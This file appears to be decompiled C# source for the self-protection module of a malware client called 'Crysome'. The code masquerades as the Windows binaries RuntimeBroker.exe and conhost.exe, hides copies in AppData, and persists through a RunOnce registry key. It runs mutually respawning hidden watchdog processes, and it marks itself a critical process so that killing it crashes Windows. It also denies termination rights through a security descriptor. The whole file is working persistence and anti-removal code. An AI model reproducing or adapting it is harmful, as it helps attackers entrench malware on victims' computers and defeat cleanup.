using System; using System.Diagnostics; using System.IO; using System.Runtime.InteropServices; using System.Threading; using Microsoft.Win32; namespace Crysome.Client.Configuration; public static class SelfProtect { private static FileStream _fileLock; private static Thread _watchThread; private static volatile int _watcherPid = -1; private static string _primaryExeName = "RuntimeBroker.exe"; private static string PrimaryDir => Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Microsoft", "Windows"); private static string BackupDir => Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Microsoft", "CLR"); internal static string PrimaryExe { get { return Path.Combine(PrimaryDir, _primaryExeName); } set { _primaryExeName = Path.GetFileName(value); } } internal static string BackupExe => Path.Combine(BackupDir, "conhost.exe"); public static void RunAsWatcher(int mainPid) { try { LockOwnFile(); } catch { } try { HidePath(GetCurrentExe()); } catch { } while (true) { Thread.Sleep(2500); bool flag = false; try { flag = !Process.GetProcessById(mainPid).HasExited; } catch { flag = false; } if (!flag) { Thread.Sleep(800); try { RestartFromBestCopy(); } catch { } } try { EnsureBackups(); } catch { } } } public static bool NeedsRelocation() { if (ClientConfiguration.IsHollowed) { return false; } string currentExe = GetCurrentExe(); if (string.IsNullOrEmpty(currentExe)) { return false; } try { return !string.Equals(Path.GetFullPath(currentExe), Path.GetFullPath(PrimaryExe), StringComparison.OrdinalIgnoreCase); } catch { return true; } } public static bool RelocateAndRelaunch(string[] currentArgs) { if (ClientConfiguration.IsHollowed) { return false; } try { string currentExe = GetCurrentExe(); if (string.IsNullOrEmpty(currentExe) || !File.Exists(currentExe)) { return false; } byte[] bytes = File.ReadAllBytes(currentExe); try { Process[] processesByName = Process.GetProcessesByName(Path.GetFileNameWithoutExtension(PrimaryExe)); foreach (Process process in processesByName) { try { process.Kill(); } catch { } } } catch { } Directory.CreateDirectory(PrimaryDir); string primaryExe = PrimaryExe; try { File.WriteAllBytes(primaryExe, bytes); } catch (IOException) { PrimaryExe = Path.Combine(PrimaryDir, "RuntimeBroker_svc.exe"); primaryExe = PrimaryExe; try { File.WriteAllBytes(primaryExe, bytes); } catch { } } HidePath(primaryExe); Directory.CreateDirectory(BackupDir); try { File.WriteAllBytes(BackupExe, bytes); } catch { } HidePath(BackupExe); string text = ""; if (currentArgs != null) { foreach (string text2 in currentArgs) { if (!text2.StartsWith("--watcher", StringComparison.OrdinalIgnoreCase)) { text = text + " " + text2; } } } Process.Start(new ProcessStartInfo(PrimaryExe, text.Trim()) { UseShellExecute = false, CreateNoWindow = true, WindowStyle = ProcessWindowStyle.Hidden }); return true; } catch (Exception ex2) { Program.Log("SelfProtect relocate: " + ex2.Message); return false; } } public static void Start() { if (ClientConfiguration.IsHollowed) { Program.Log("SelfProtect: hollowed mode — skipping file ops, watchdog, startup reg"); _watchThread = new Thread(MonitorWatcher) { IsBackground = true }; _watchThread.Start(); return; } LockOwnFile(); HidePath(GetCurrentExe()); EnsureBackups(); AddStartupRegistry(); SpawnWatcher(); _watchThread = new Thread(MonitorWatcher) { IsBackground = true }; _watchThread.Start(); Program.Log("SelfProtect: active (watchdog + lock + hidden + startup)"); } private static void LockOwnFile() { try { string currentExe = GetCurrentExe(); if (!string.IsNullOrEmpty(currentExe) && File.Exists(currentExe) && _fileLock == null) { _fileLock = new FileStream(currentExe, FileMode.Open, FileAccess.Read, FileShare.Read); } } catch { } } private static void HidePath(string path) { if (string.IsNullOrEmpty(path)) { return; } try { if (File.Exists(path)) { File.SetAttributes(path, File.GetAttributes(path) | FileAttributes.Hidden | FileAttributes.System); } } catch { } try { string directoryName = Path.GetDirectoryName(path); if (!string.IsNullOrEmpty(directoryName) && Directory.Exists(directoryName)) { new DirectoryInfo(directoryName).Attributes |= FileAttributes.Hidden; } } catch { } } private static void EnsureBackups() { string currentExe = GetCurrentExe(); if (!string.IsNullOrEmpty(currentExe) && File.Exists(currentExe)) { CopyIfMissing(currentExe, PrimaryDir, PrimaryExe); CopyIfMissing(currentExe, BackupDir, BackupExe); } } private static void CopyIfMissing(string source, string dir, string dest) { try { if (!File.Exists(dest)) { Directory.CreateDirectory(dir); File.Copy(source, dest, overwrite: true); HidePath(dest); } } catch { } } private static void AddStartupRegistry() { try { string text = (File.Exists(PrimaryExe) ? PrimaryExe : GetCurrentExe()); using RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", writable: true); registryKey?.SetValue("RuntimeBroker", "\"" + text + "\"", RegistryValueKind.String); } catch { } } private static void SpawnWatcher() { if (ClientConfiguration.IsHollowed) { return; } try { string text = (File.Exists(BackupExe) ? BackupExe : PrimaryExe); if (File.Exists(text)) { Process process = Process.Start(new ProcessStartInfo(text, "--watcher " + Process.GetCurrentProcess().Id) { UseShellExecute = false, CreateNoWindow = true, WindowStyle = ProcessWindowStyle.Hidden }); if (process != null) { _watcherPid = process.Id; } } } catch { } } private static void MonitorWatcher() { try { SetCriticalProcess(); } catch { } try { ProtectProcess(); } catch { } while (true) { Thread.Sleep(3000); if (_watcherPid <= 0) { SpawnWatcher(); continue; } bool flag = false; try { flag = !Process.GetProcessById(_watcherPid).HasExited; } catch { flag = false; } if (!flag) { _watcherPid = -1; SpawnWatcher(); } try { EnsureBackups(); } catch { } } } [DllImport("ntdll.dll", SetLastError = true)] private static extern void RtlSetProcessIsCritical([MarshalAs(UnmanagedType.U1)] bool bNew, [MarshalAs(UnmanagedType.U1)] ref bool pbOld, [MarshalAs(UnmanagedType.U1)] bool bNeedScb); private static void SetCriticalProcess() { try { Process.EnterDebugMode(); bool pbOld = false; RtlSetProcessIsCritical(bNew: true, ref pbOld, bNeedScb: false); Program.Log("SelfProtect: Critical process set (BSOD on kill)"); } catch (Exception ex) { Program.Log("SelfProtect: Failed to set critical process: " + ex.Message); } } [DllImport("advapi32.dll", SetLastError = true)] private static extern bool SetKernelObjectSecurity(IntPtr Handle, int SecurityInformation, IntPtr SecurityDescriptor); [DllImport("advapi32.dll", SetLastError = true)] private static extern bool ConvertStringSecurityDescriptorToSecurityDescriptor(string StringSecurityDescriptor, uint StringSDRevision, out IntPtr SecurityDescriptor, out uint SecurityDescriptorSize); private static void ProtectProcess() { try { IntPtr handle = Process.GetCurrentProcess().Handle; IntPtr SecurityDescriptor = IntPtr.Zero; uint SecurityDescriptorSize = 0u; if (ConvertStringSecurityDescriptorToSecurityDescriptor("D:(D;;0x0001;;;WD)", 1u, out SecurityDescriptor, out SecurityDescriptorSize)) { SetKernelObjectSecurity(handle, 4, SecurityDescriptor); } } catch { } } private static void RestartFromBestCopy() { string text = null; if (File.Exists(PrimaryExe)) { text = PrimaryExe; } else if (File.Exists(BackupExe)) { text = BackupExe; } if (text != null) { Process.Start(new ProcessStartInfo(text) { UseShellExecute = false, CreateNoWindow = true, WindowStyle = ProcessWindowStyle.Hidden }); } } private static string GetCurrentExe() { return ClientConfiguration.GetProcessPath(); } }